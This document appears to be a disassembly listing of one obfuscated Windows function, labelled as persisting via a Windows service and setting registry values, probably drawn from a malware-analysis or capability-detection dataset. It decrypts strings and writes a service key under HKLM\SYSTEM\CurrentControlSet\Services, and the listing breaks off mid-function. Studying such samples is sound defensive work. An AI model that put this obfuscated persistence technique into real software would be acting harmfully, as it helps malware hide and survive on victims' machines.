Function at 0x14034e9d0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x178
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], 0xfffffffffffffffe
mov rsi, rcx
lea rdi, [rbp - 0x50]
mov rcx, rdi
call fcn.1402ab260
lea rdx, str.SYSTEMCurrentControlSetServices_
lea rcx, [rbp - 0x30]
mov r8, rdi
call fcn.140351520
lea rdx, [0x14068928a]
lea rdi, [rbp + 0x60]
mov rcx, rdi
mov r8, rsi
call fcn.140351520
lea rax, [rbp - 0x30]
mov qword [rbp + 0xc8], rax
mov ecx, 0xf30c1eb8
nop
cmp ecx, 0xafff729c
je 0x14034ea63
cmp ecx, 0xf30c1eb8
jne 0x14034ea40
mov rcx, qword [rbp + 0xc8]
call fcn.1402a67c0
mov ecx, 0xafff729c
jmp 0x14034ea40
mov qword [rbp - 0x10], rax
mov rdx, qword [rbp - 0x10]
lea r8, [rbp + 0x80]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x14034f2f6
mov eax, dword [0x140ae09d0]
mov ecx, dword [0x140ae09d4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0xc0]
mov edx, 0x3d46d467
mov eax, 0x2ff3dd85
cmove eax, edx
cmp ecx, 0xa
setl byte [rbp + 0xc8]
cmovl eax, edx
mov edx, 0x1dbdfca9
mov ecx, 0x7ddc3c3d
jmp 0x14034ead0
mov edx, 0x56f159d7
nop
cmp edx, 0x3d46d466
jg 0x14034eb00
cmp edx, 0x1dbdfca9
je 0x14034eb1c
cmp edx, 0x2ff3dd85
je 0x14034eb39
cmp edx, 0x352cc5f2
jne 0x14034ead0
jmp 0x14034eb60
cmp edx, 0x3d46d467
je 0x14034eac9
cmp edx, 0x56f159d7
je 0x14034eb40
cmp edx, 0x7ddc3c3d
jne 0x14034ead0
mov edx, eax
jmp 0x14034ead0
movzx ebx, byte [rbp + 0xc0]
cmp byte [rbp + 0xc8], 0
mov edx, 0x2ff3dd85
cmovne edx, ecx
test bl, bl
cmovne edx, ecx
jmp 0x14034ead0
mov edx, 0x7ddc3c3d
jmp 0x14034ead0
movups xmm0, xmmword [0x140681809]
movups xmmword [rbp - 3], xmm0
movups xmm0, xmmword [0x1406817fc]
movaps xmmword [rbp - 0x10], xmm0
mov edx, 0x352cc5f2
jmp 0x14034ead0
mov eax, dword [0x140ae1428]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae142c], 0xa
setl cl
or cl, al
mov r15d, 0x3c426e55
mov eax, 0x3f39a02b
cmove r15d, eax
mov r14d, 0x52b1406b
cmove r14d, eax
mov edx, 0xaddc498e
mov eax, 0xfd30990b
cmove edx, eax
mov r12d, 0xfce94a9e
cmove r12d, eax
mov eax, dword [0x140ae09d8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae09dc], 0xa
setl cl
or cl, al
mov ecx, 0x88d2084d
mov eax, 0x51afab71
cmove ecx, eax
mov dword [rbp + 0x9c], ecx
mov r11d, 0x740d4f17
cmove r11d, eax
mov ecx, 0x360cbce
mov eax, 0xeeb55abd
cmove ecx, eax
mov dword [rbp + 0xa0], ecx
mov ecx, 0x5e7a0afa
cmove ecx, eax
mov dword [rbp + 0xa4], ecx
mov ecx, 0xdd7ae39
mov eax, 0x445557c6
cmove ecx, eax
mov dword [rbp + 0xa8], ecx
mov ecx, 0xbbda396
cmove ecx, eax
mov dword [rbp + 0x8c], ecx
mov ecx, 0xe6183382
mov eax, 0xd1f82881
cmove ecx, eax
mov dword [rbp + 0x58], ecx
mov r13d, 0x3e9b2f70
cmove r13d, eax
mov ecx, 0x27221488
mov eax, 0xb6734e28
cmove ecx, eax
mov dword [rbp + 0x5c], ecx
mov r10d, 0xf8c966f4
cmove r10d, eax
mov esi, 0xf5b3d1fb
lea r9, [rbp - 0x10]
mov r8d, 0x3ca54220
jmp 0x14034ec80
mov esi, 0xf8c966f4
nop word cs:[rax + rax]
nop
mov edi, esi
cmp esi, 0x360cbcd
jg 0x14034ecd0
cmp edi, 0xd78aee1b
jle 0x14034ed20
cmp edi, 0xeeb55abc
jg 0x14034eda1
mov esi, r11d
cmp edi, 0xd78aee1c
je 0x14034ec80
mov esi, r13d
cmp edi, 0xe018108b
je 0x14034ec80
mov esi, edi
cmp edi, 0xe6183382
jne 0x14034ec80
mov esi, 0x7d6d7bb9
jmp 0x14034ec80
cmp edi, 0x445557c5
jle 0x14034ed60
cmp edi, 0x740d4f16
jg 0x14034edcf
cmp edi, 0x445557c6
je 0x14034f0c8
cmp edi, 0x51afab71
je 0x14034f071
mov esi, edi
cmp edi, 0x5e7a0afa
jne 0x14034ec80
mov esi, dword [rbp + 0xa0]
jmp 0x14034ec80
cmp edi, 0xb05b24c8
jg 0x14034ee03
cmp edi, 0x88d2084d
je 0x14034f067
cmp edi, 0x9a61a657
je 0x14034f056
mov esi, edi
cmp edi, 0xae330090
jne 0x14034ec80
mov esi, dword [rbp + 0xa4]
jmp 0x14034ec80
cmp edi, 0xdd7ae38
jle 0x14034ee25
cmp edi, 0xdd7ae39
je 0x14034f042
cmp edi, 0x27221488
je 0x14034f029
mov esi, edi
cmp edi, 0x3e9b2f70
jne 0x14034ec80
mov qword [rbp + 0x90], r9
mov esi, dword [rbp + 0x58]
jmp 0x14034ec80
cmp edi, 0xeeb55abd
je 0x14034f2a5
cmp edi, 0xf5b3d1fb
je 0x14034f082
mov esi, edi
cmp edi, 0xf8c966f4
jne 0x14034ec80
mov esi, dword [rbp + 0x5c]
jmp 0x14034ec80
cmp edi, 0x740d4f17
je 0x14034f2af
mov esi, r10d
cmp edi, 0x742cdba8
je 0x14034ec80
mov esi, edi
cmp edi, 0x7d6d7bb9
jne 0x14034ec80
mov esi, dword [rbp + 0x8c]
jmp 0x14034ec80
cmp edi, 0xb6734e28
je 0x14034ec70
cmp edi, 0xd1f82881
jne 0x14034f2c8
mov esi, 0x3e9b2f70
jmp 0x14034ec80
cmp edi, 0x360cbce
je 0x14034f04c
mov esi, edi
cmp edi, 0xbbda396
jne 0x14034ec80
mov rbx, r9
mov r9, qword [rbp + 0x90]
mov ecx, 0x576e5781
jmp 0x14034ee70
mov dword [rbp + 0xd8], edi
mov eax, dword [rbp + 0xd8]
cmp eax, 0x1d
mov ecx, 0x3e6345c3
cmovl ecx, r8d
nop dword [rax + rax]
mov esi, ecx
cmp ecx, 0x3c426e54
jle 0x14034eed0
cmp esi, 0x52b1406a
jg 0x14034ef10
cmp esi, 0x3e6345c2
jg 0x14034ef70
cmp esi, 0x3c426e55
je 0x14034f001
mov ecx, esi
cmp esi, 0x3ca54220
jne 0x14034ee70
movsxd rax, dword [rbp + 0xd8]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
movsx eax, byte [r9 + rax]
mov dword [rbp + 0xe4], eax
mov ecx, 0x7db749fd
jmp 0x14034ee70
cmp esi, 0xfce94a9d
jg 0x14034ef40
cmp esi, 0x8ee9ce9f
je 0x14034ee50
cmp esi, 0x8fb85682
je 0x14034efe7
mov ecx, esi
cmp esi, 0xaddc498e
jne 0x14034ee70
mov ecx, 0x32703415
jmp 0x14034ee70
mov ecx, r15d
cmp esi, 0x52b1406b
je 0x14034ee70
cmp esi, 0x7db749fd
je 0x14034ef86
mov ecx, esi
cmp esi, 0x576e5781
jne 0x14034ee70
mov ecx, r12d
jmp 0x14034ee70
mov ecx, edx
cmp esi, 0xfce94a9e
je 0x14034ee70
cmp esi, 0xfd30990b
je 0x14034eff7
mov ecx, esi
cmp esi, 0x32703415
jne 0x14034ee70
mov ecx, r14d
jmp 0x14034ee70
cmp esi, 0x3f39a02b
jne 0x14034f00d
mov ecx, 0x52b1406b
jmp 0x14034ee70
movsxd rax, dword [rbp + 0xd8]
imul rcx, rax, 0x51eb851f
mov rsi, rcx
shr rsi, 0x3f
sar rcx, 0x24
add ecx, esi
imul ecx, ecx, 0x32
sub eax, ecx
mov ecx, 0xcb
sub ecx, eax
add eax, 0x34
and ecx, 0x8e
and eax, 0x71
or eax, ecx
xor eax, dword [rbp + 0xe4]
xor al, 0x8e
mov rcx, qword [rbp + 0xc8]
mov byte [rbp + rcx - 0x10], al
mov eax, dword [rbp + 0xd8]
add eax, 1
mov dword [rbp + 0xe8], eax
mov ecx, 0x8fb85682
jmp 0x14034ee70
mov ecx, 0x8ee9ce9f
mov edi, dword [rbp + 0xe8]
jmp 0x14034ee70
mov ecx, 0xfce94a9e
jmp 0x14034ee70
mov ecx, 0x8ee9ce9f
xor edi, edi
jmp 0x14034ee70
mov ecx, esi
cmp esi, 0x3e6345c3
jne 0x14034ee70
mov esi, dword [rbp + 0xa8]
mov r9, rbx
jmp 0x14034ec80
cmp byte [rbp + 0xb4], 0
mov esi, 0x9a61a657
mov eax, 0xe018108b
cmovne esi, eax
jmp 0x14034ec80
mov esi, 0xae330090
jmp 0x14034ec80
mov esi, 0x9a61a657
jmp 0x14034ec80
mov qword [rbp + 0xb8], r9
mov esi, 0xd78aee1c
jmp 0x14034ec80
mov esi, 0xb05b24c9
jmp 0x14034ec80
mov rax, qword [rbp + 0xb8]
mov esi, 0x740d4f17
jmp 0x14034ec80
mov ecx, 0xec54cba9
mov al, byte [rbp + 0xc]
nop word [rax + rax]
cmp ecx, 0xec54cba9
je 0x14034f0a2
cmp ecx, 0x3e5baa68
jne 0x14034f090
jmp 0x14034f0a9
mov ecx, 0x3e5baa68
jmp 0x14034f090
test al, al
setne byte [rbp + 0xc8]
mov al, byte [rbp + 0xc8]
mov byte [rbp + 0xb4], al
mov esi, 0x742cdba8
jmp 0x14034ec80
mov rdi, qword [rbp + 0x90]
mov eax, 0x576e5781
jmp 0x14034f0f0
mov dword [rbp + 0xd8], esi
mov eax, dword [rbp + 0xd8]
cmp eax, 0x1d
mov eax, 0x3e6345c3
cmovl eax, r8d
nop
mov ecx, eax
cmp eax, 0x3c426e54
jle 0x14034f150
cmp ecx, 0x52b1406a
jg 0x14034f190
cmp ecx, 0x3e6345c2
jg 0x14034f1f0
cmp ecx, 0x3c426e55
je 0x14034f281
mov eax, ecx
cmp ecx, 0x3ca54220
jne 0x14034f0f0
movsxd rax, dword [rbp + 0xd8]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
movsx eax, byte [rdi + rax]
mov dword [rbp + 0xe4], eax
mov eax, 0x7db749fd
jmp 0x14034f0f0
cmp ecx, 0xfce94a9d
jg 0x14034f1c0
cmp ecx, 0x8ee9ce9f
je 0x14034f0d6
cmp ecx, 0x8fb85682
je 0x14034f267
mov eax, ecx
cmp ecx, 0xaddc498e
jne 0x14034f0f0
mov eax, 0x32703415
jmp 0x14034f0f0
mov eax, r15d
cmp ecx, 0x52b1406b
je 0x14034f0f0
cmp ecx, 0x7db749fd
je 0x14034f206
mov eax, ecx
cmp ecx, 0x576e5781
jne 0x14034f0f0
mov eax, r12d
jmp 0x14034f0f0
mov eax, edx
cmp ecx, 0xfce94a9e
je 0x14034f0f0
cmp ecx, 0xfd30990b
je 0x14034f277
mov eax, ecx
cmp ecx, 0x32703415
jne 0x14034f0f0
mov eax, r14d
jmp 0x14034f0f0
cmp ecx, 0x3f39a02b
jne 0x14034f28d
mov eax, 0x52b1406b
jmp 0x14034f0f0
movsxd rax, dword [rbp + 0xd8]
imul rcx, rax, 0x51eb851f
mov rbx, rcx
shr rbx, 0x3f
sar rcx, 0x24
add ecx, ebx
imul ecx, ecx, 0x32
sub eax, ecx
mov ecx, 0xcb
sub ecx, eax
add eax, 0x34
and ecx, 0x8e
and eax, 0x71
or eax, ecx
xor eax, dword [rbp + 0xe4]
xor al, 0x8e
mov rcx, qword [rbp + 0xc8]
mov byte [rbp + rcx - 0x10], al
mov eax, dword [rbp + 0xd8]
add eax, 1
mov dword [rbp + 0xe8], eax
mov eax, 0x8fb85682
jmp 0x14034f0f0
mov eax, 0x8ee9ce9f
mov esi, dword [rbp + 0xe8]
jmp 0x14034f0f0
mov eax, 0xfce94a9e
jmp 0x14034f0f0
mov eax, 0x8ee9ce9f
xor esi, esi
jmp 0x14034f0f0
mov eax, ecx
cmp ecx, 0x3e6345c3
jne 0x14034f0f0
mov esi, 0xbbda396
jmp 0x14034ec80
mov esi, 0x5e7a0afa
jmp 0x14034ec80
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0xc0], rax
mov esi, dword [rbp + 0x9c]
jmp 0x14034ec80
mov esi, edi
cmp edi, 0xb05b24c9
jne 0x14034ec80
mov rdx, qword [rbp + 0xc0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1402c9010
mov rcx, rax
call fcn.1402b3ed0
jmp 0x14034ff24
mov qword [rbp + 0xc8], rdi
mov eax, dword [0x140ae1348]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae134c], 0xa
setl cl
or cl, al
mov ebx, 0x81599aeb
mov eax, 0x711dc25d
cmove ebx, eax
mov ecx, 0xcf2a9418
cmove ecx, eax
mov eax, 0x9d8a053f
nop word cs:[rax + rax]
nop
cmp eax, 0xcf2a9417
jle 0x14034f370
cmp eax, 0x711dc25d
je 0x14034f382
cmp eax, 0x2add0088
je 0x14034f397
cmp eax, 0xcf2a9418
jne 0x14034f340
mov rdx, qword [rbp + 0xc8]
add rdx, 0x10
mov eax, ebx
jmp 0x14034f340
cmp eax, 0x81599aeb
je 0x14034f390
cmp eax, 0x9d8a053f
jne 0x14034f340
mov eax, ecx
jmp 0x14034f340
mov rax, qword [rbp + 0xc8]
mov eax, 0xcf2a9418
jmp 0x14034f340
mov eax, 0x2add0088
jmp 0x14034f340
mov qword [rbp - 0x10], rdx
mov rax, qword [rbp - 0x10]
mov rsi, qword [rax]
mov qword [rbp + 0xc8], rdi
mov ecx, 0xf30c1eb8
nop
cmp ecx, 0xafff729c
je 0x14034f3d3
cmp ecx, 0xf30c1eb8
jne 0x14034f3b0
mov rcx, qword [rbp + 0xc8]
call fcn.1402a67c0
mov ecx, 0xafff729c
jmp 0x14034f3b0
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp + 0x80]
add esi, esi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
lea r8, [0x1406891bc]
xor edx, edx
mov r9d, 2
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [rbp + 0x80]
test eax, eax
je 0x14034fa8c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, 0xcead4d9f
mov ecx, 0x4d2ebd1a
lea r9, [rbp - 0x10]
mov edx, 0x920e624f
nop word [rax + rax]
cmp ebx, 0x238a3033
jle 0x14034f460
cmp ebx, 0x238a3034
je 0x14034f47e
cmp ebx, 0x467161a1
je 0x14034f4a2
cmp ebx, 0x4d2ebd1a
jne 0x14034f430
jmp 0x14034f521
cmp ebx, 0x920e624f
je 0x14034f4d3
cmp ebx, 0xcead4d9f
jne 0x14034f430
mov qword [rbp + 0xc8], r9
mov ebx, 0x238a3034
jmp 0x14034f430
mov ebx, dword [0x140ae09e0]
lea edi, [rbx - 1]
imul edi, ebx
test dil, 1
mov ebx, 0x467161a1
cmove ebx, edx
cmp dword [0x140ae09e4], 0xa
cmovl ebx, edx
jmp 0x14034f430
mov rbx, qword [rbp + 0xc8]
movups xmm0, xmmword [0x140681835]
movups xmmword [rbx + 0x1c], xmm0
movups xmm0, xmmword [0x140681829]
movups xmmword [rbx + 0x10], xmm0
movups xmm0, xmmword [0x140681819]
movups xmmword [rbx], xmm0
mov ebx, 0x920e624f
jmp 0x14034f430
mov rbx, qword [rbp + 0xc8]
movups xmm0, xmmword [0x140681835]
movups xmmword [rbx + 0x1c], xmm0
movups xmm0, xmmword [0x140681829]
movups xmmword [rbx + 0x10], xmm0
movups xmm0, xmmword [0x140681819]
movups xmmword [rbx], xmm0
mov ebx, dword [0x140ae09e0]
lea edi, [rbx - 1]
imul edi, ebx
test dil, 1
mov ebx, 0x467161a1
cmove ebx, ecx
cmp dword [0x140ae09e4], 0xa
cmovl ebx, ecx
jmp 0x14034f430
mov ecx, dword [0x140ae1350]
mov edx, dword [0x140ae1354]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete cl
sete byte [rbp + 0xef]
cmp edx, 0xa
setl byte [rbp + 0xb0]
setl dl
or dl, cl
mov ecx, dword [0x140ae0e30]
mov eax, dword [0x140ae0e34]
lea ebx, [rcx - 1]
imul ebx, ecx
mov dword [rbp + 0xa0], ebx
test bl, 1
mov ecx, 0x830f522c
mov r13d, 0x50c91049
cmove r13d, ecx
mov dword [rbp + 0x9c], eax
cmp eax, 0xa
cmovl r13d, ecx
test dl, dl
mov eax, 0xb1bba8e2
mov ecx, 0x5c7ee509
cmove eax, ecx
mov dword [rbp + 0xa4], eax
mov esi, 0xc5669c45
cmove esi, ecx
mov ecx, 0xdcfd510
mov edx, 0x406063de
cmove ecx, edx
mov r15d, 0x89738bae
cmove r15d, edx
mov eax, 0xfd27d159
mov edx, 0x524701bb
cmove eax, edx
mov dword [rbp + 0xa8], eax
mov r14d, 0x994be7b4
cmove r14d, edx
mov r11d, 0xfd630655
mov edx, 0xdd108206
cmove r11d, edx
mov edx, 0x2816ec65
mov edi, 0x4515bdad
jmp 0x14034f610
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0xc0], rax
mov edx, dword [rbp + 0xa4]
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xdcfd50f
jle 0x14034f680
cmp ebx, 0x524701ba
jg 0x14034f850
cmp ebx, 0x2d2d018b
jg 0x14034f88a
cmp ebx, 0xdcfd510
je 0x14034fa54
cmp ebx, 0xe5c25c9
je 0x14034fa05
mov edx, ebx
cmp ebx, 0x2816ec65
jne 0x14034f610
mov bl, byte [rbp + 0xef]
cmp byte [rbp + 0xb0], 0
mov edx, 0xdd108206
mov eax, 0x5af1db3e
cmovne edx, eax
test bl, bl
cmovne edx, eax
jmp 0x14034f610
cmp ebx, 0xd984c09f
jg 0x14034f6d0
cmp ebx, 0xb1bba8e1
jle 0x14034f8af
cmp ebx, 0xb1bba8e2
je 0x14034fa16
cmp ebx, 0xc5669c45
je 0x14034f5f2
mov edx, ebx
cmp ebx, 0xd3c031b4
jne 0x14034f610
mov qword [rbp + 0x90], r9
mov edx, 0xfe01052f
jmp 0x14034f610
cmp ebx, 0xfd27d158
jle 0x14034f8d6
cmp ebx, 0xfd27d159
je 0x14034fa20
cmp ebx, 0xfd630655
je 0x14034f91e
mov edx, ebx
cmp ebx, 0xfe01052f
jne 0x14034f610
mov r12, qword [rbp + 0x90]
mov edx, 0x4c99ff59
nop
cmp edx, 0x4c99ff58
jle 0x14034f740
cmp edx, 0x6bc17fba
jg 0x14034f7b0
cmp edx, 0x4c99ff59
je 0x14034f7eb
cmp edx, 0x63ea39d9
jne 0x14034f710
jmp 0x14034f928
cmp edx, 0xe62da7cf
je 0x14034f81f
cmp edx, 0x35d3cba6
je 0x14034f82c
cmp edx, 0x45c2bf21
jne 0x14034f710
movsxd rax, dword [rbp + 0xd8]
imul rdx, rax, 0x51eb851f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x24
add edx, ebx
imul edx, edx, 0x32
sub eax, edx
lea edx, [rax + 0x34]
mov ebx, dword [rbp + 0xe8]
mov r10d, 0xcb
sub r10d, eax
and r10d, ebx
not ebx
and ebx, edx
or r10d, ebx
mov byte [rbp + 0xe4], r10b
mov edx, 0x75fbe72d
jmp 0x14034f710
cmp edx, 0x6bc17fbb
je 0x14034f7f5
cmp edx, 0x75fbe72d
jne 0x14034f710
mov rax, qword [rbp + 0xc8]
movzx edx, byte [rbp + 0xe4]
mov byte [rbp + rax - 0x10], dl
mov r8d, dword [rbp + 0xd8]
add r8d, 1
mov edx, 0x35d3cba6
jmp 0x14034f710
mov edx, 0xe62da7cf
jmp 0x14034f710
movsxd rax, dword [rbp + 0xd8]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
movsx eax, byte [r12 + rax]
mov dword [rbp + 0xe8], eax
mov edx, 0x45c2bf21
jmp 0x14034f710
mov edx, 0x35d3cba6
xor r8d, r8d
jmp 0x14034f710
mov dword [rbp + 0xd8], r8d
mov eax, dword [rbp + 0xd8]
cmp eax, 0x2c
mov edx, 0x63ea39d9
mov eax, 0x6bc17fbb
cmovl edx, eax
jmp 0x14034f710
cmp ebx, 0x5c7ee508
jle 0x14034f8fc
cmp ebx, 0x5c7ee509
je 0x14034fa43
cmp ebx, 0x60643d51
je 0x14034f932
mov edx, ebx
cmp ebx, 0x7e809d83
jne 0x14034f610
mov edx, r14d
jmp 0x14034f610
mov edx, r15d
cmp ebx, 0x2d2d018c
je 0x14034f610
cmp ebx, 0x406063de
jne 0x14034fa5e
mov edx, 0x89738bae
jmp 0x14034f610
mov edx, ecx
cmp ebx, 0x89738bae
je 0x14034f610
mov edx, ebx
cmp ebx, 0x994be7b4
jne 0x14034f610
mov edx, dword [rbp + 0xa8]
jmp 0x14034f610
mov edx, esi
cmp ebx, 0xd984c0a0
je 0x14034f610
mov edx, ebx
cmp ebx, 0xdd108206
jne 0x14034f610
mov edx, 0x5af1db3e
jmp 0x14034f610
cmp ebx, 0x524701bb
je 0x14034fa39
mov edx, ebx
cmp ebx, 0x5af1db3e
jne 0x14034f610
mov edx, r11d
jmp 0x14034f610
mov edx, 0x60643d51
jmp 0x14034f610
mov edx, 0x2d2d018c
jmp 0x14034f610
test byte [rbp + 0xa0], 1
sete byte [rbp + 0xe4]
cmp dword [rbp + 0x9c], 0xa
setl byte [rbp + 0xe8]
mov ebx, 0xc3a7aeaf
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x44a91415
jg 0x14034f9a0
cmp ebx, 0x830f522c
je 0x14034f9bf
cmp ebx, 0xa22eb650
je 0x14034f9c6
cmp ebx, 0xc3a7aeaf
jne 0x14034f960
movzx eax, byte [rbp + 0xe4]
cmp byte [rbp + 0xe8], 0
mov ebx, 0x50c91049
cmovne ebx, edi
test al, al
cmovne ebx, edi
jmp 0x14034f960
cmp ebx, 0x44a91416
je 0x14034f9e7
cmp ebx, 0x4515bdad
je 0x14034f9d8
cmp ebx, 0x50c91049
jne 0x14034f960
mov ebx, 0x4515bdad
jmp 0x14034f960
mov ebx, 0xa22eb650
jmp 0x14034f960
mov rax, qword [rbp + 0xc8]
movsx edx, byte [rax + 0x2b]
mov ebx, 0x44a91416
jmp 0x14034f960
mov qword [rbp + 0xc8], r9
mov ebx, r13d
jmp 0x14034f960
mov dword [rbp + 0xd8], edx
cmp dword [rbp + 0xd8], 0
setne byte [rbp + 0xb4]
mov edx, 0x7e809d83
jmp 0x14034f610
mov qword [rbp + 0xb8], r9
mov edx, 0xd984c0a0
jmp 0x14034f610
mov edx, 0x2dbb4144
jmp 0x14034f610
cmp byte [rbp + 0xb4], 0
mov edx, 0xe5c25c9
mov eax, 0xd3c031b4
cmovne edx, eax
jmp 0x14034f610
mov edx, 0x994be7b4
jmp 0x14034f610
mov rax, qword [rbp + 0xb8]
mov edx, 0xc5669c45
jmp 0x14034f610
mov edx, 0xe5c25c9
jmp 0x14034f610
mov edx, ebx
cmp ebx, 0x2dbb4144
jne 0x14034f610
mov rdx, qword [rbp + 0xc0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1402c9010
mov rcx, rax
call fcn.1402b3ed0
jmp 0x14034ff24
lea rax, [0x1406817f8]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
lea r8, str.Type
xor edx, edx
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov esi, eax
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x1403502c9
mov eax, dword [0x140ae09f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae09fc], 0xa
setl cl
or cl, al
mov eax, 0xbebf558e
mov edx, 0xef438dcd
cmove eax, edx
mov ecx, 0x3849be62
cmove ecx, edx
mov edx, 0x8c85718a
nop word cs:[rax + rax]
nop
cmp edx, 0xef438dcc
jle 0x14034fb40
cmp edx, 0xef438dcd
je 0x14034fb52
cmp edx, 0x3849be62
je 0x14034fb59
cmp edx, 0x5c515234
jne 0x14034fb10
mov edx, ecx
jmp 0x14034fb10
cmp edx, 0x8c85718a
je 0x14034fb5d
cmp edx, 0xbebf558e
jne 0x14034fb10
jmp 0x14034fb85
mov edx, 0x3849be62
jmp 0x14034fb10
mov edx, eax
jmp 0x14034fb10
mov rdx, qword [0x140681864]
mov qword [rbp + 0xf], rdx
movups xmm0, xmmword [0x140681855]
movaps xmmword [rbp], xmm0
movups xmm0, xmmword [0x140681845]
movaps xmmword [rbp - 0x10], xmm0
mov edx, 0x5c515234
jmp 0x14034fb10
mov eax, dword [0x140ae1450]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae1454], 0xa
setl cl
or cl, al
mov r15d, 0xb14e1365
mov eax, 0x8f670751
cmove r15d, eax
mov r12d, 0xb24cf1b8
cmove r12d, eax
mov eax, dword [0x140ae0a00]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x140ae0a04], 0xa
setl dl
or dl, al
mov r9d, 0xbd54f64
mov eax, 0x8d150d5c
cmove r9d, eax
mov r11d, 0xfef1d162
cmove r11d, eax
mov edx, 0x8d1dd64a
lea r10, [rbp - 0x10]
mov r14d, 0x24ce3bdd
mov r8d, 0xd13b3a19
jmp 0x14034fc20
mov qword [rbp + 0xb8], r10
mov edx, 0x4fb12b35
nop word cs:[rax + rax]
mov eax, edx
cmp edx, 0xe06dcca2
jg 0x14034fc60
cmp eax, 0x9e97d7c3
jle 0x14034fca0
cmp eax, 0x9e97d7c4
je 0x14034fd57
mov edx, r11d
cmp eax, 0xc1fd8ef9
je 0x14034fc20
mov edx, eax
cmp eax, 0xd13b3a19
jne 0x14034fc20
mov qword [rbp + 0xd8], r10
mov edx, 0xc1fd8ef9
jmp 0x14034fc20
cmp eax, 0xbd54f63
jle 0x14034fce0
cmp eax, 0xbd54f64
je 0x14034fef2
cmp eax, 0x356ca1eb
je 0x14034fd31
mov edx, eax
cmp eax, 0x4fb12b35
jne 0x14034fc20
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0xc0], rax
mov edx, 0x8c73ec2c
jmp 0x14034fc20
cmp eax, 0x8d150d5c
je 0x14034fd46
cmp eax, 0x8d1dd64a
jne 0x14034fefc
mov eax, 0x79d6be30
nop dword [rax + rax]
cmp eax, 0x79d6be30
je 0x14034fcd0
cmp eax, 0x82336d19
jne 0x14034fcc0
jmp 0x14034fd0e
mov eax, 0x82336d19
jmp 0x14034fcc0
cmp eax, 0xe06dcca3
je 0x14034fc0a
mov edx, eax
cmp eax, 0xfef1d162
jne 0x14034fc20
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 0x90], rax
mov edx, r9d
jmp 0x14034fc20
mov qword [rbp + 0xc8], r10
mov rax, qword [rbp + 0xc8]
cmp byte [rax + 0x26], 0
setne byte [rbp + 0xef]
mov edx, 0x356ca1eb
jmp 0x14034fc20
cmp byte [rbp + 0xef], 0
mov edx, 0xe06dcca3
cmovne edx, r8d
jmp 0x14034fc20
mov rax, qword [rbp + 0xd8]
mov edx, 0xfef1d162
jmp 0x14034fc20
mov rdx, qword [rbp + 0x90]
mov eax, 0xb2026c1e
jmp 0x14034fdc0
movsxd rax, dword [rbp + 0xe8]
imul rsi, rax, 0x51eb851f
mov rbx, rsi
shr rbx, 0x3f
sar rsi, 0x24
add esi, ebx
imul esi, esi, 0x32
sub eax, esi
lea esi, [rax + 0x34]
mov ebx, dword [rbp + 0xb4]
mov ecx, 0xcb
sub ecx, eax
and ecx, ebx
not ebx
and ebx, esi
or ecx, ebx
mov rax, qword [rbp + 0xc8]
mov byte [rbp + rax - 0x10], cl
mov eax, dword [rbp + 0xe8]
add eax, 1
mov dword [rbp + 0xe4], eax
mov eax, 0xefb8f964
nop dword [rax]
cmp eax, 0xc935aaf6
jle 0x14034fe00
cmp eax, 0xefb8f963
jle 0x14034fe30
cmp eax, 0xefb8f964
je 0x14034febd
cmp eax, 0x24ce3bdd
je 0x14034fe8a
cmp eax, 0x755b6450
jne 0x14034fdc0
mov dword [rbp + 0xe8], edi
mov eax, r12d
jmp 0x14034fdc0
cmp eax, 0xb2026c1d
jg 0x14034fe60
cmp eax, 0x8f670751
je 0x14034fecd
cmp eax, 0xb14e1365
jne 0x14034fedd
cmp byte [rbp + 0xb0], 0
mov eax, 0x8e28cc53
cmovne eax, r14d
jmp 0x14034fdc0
cmp eax, 0xc935aaf7
je 0x14034fd65
cmp eax, 0xce885b5c
jne 0x14034fdc0
mov eax, 0x755b6450
xor edi, edi
jmp 0x14034fdc0
cmp eax, 0xb2026c1e
je 0x14034feb3
cmp eax, 0xb24cf1b8
jne 0x14034fdc0
mov eax, dword [rbp + 0xe8]
cmp eax, 0x27
setl byte [rbp + 0xb0]
mov eax, r15d
jmp 0x14034fdc0
movsxd rax, dword [rbp + 0xe8]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
movsx eax, byte [rdx + rax]
mov dword [rbp + 0xb4], eax
mov eax, 0xc935aaf7
jmp 0x14034fdc0
mov eax, 0xce885b5c
jmp 0x14034fdc0
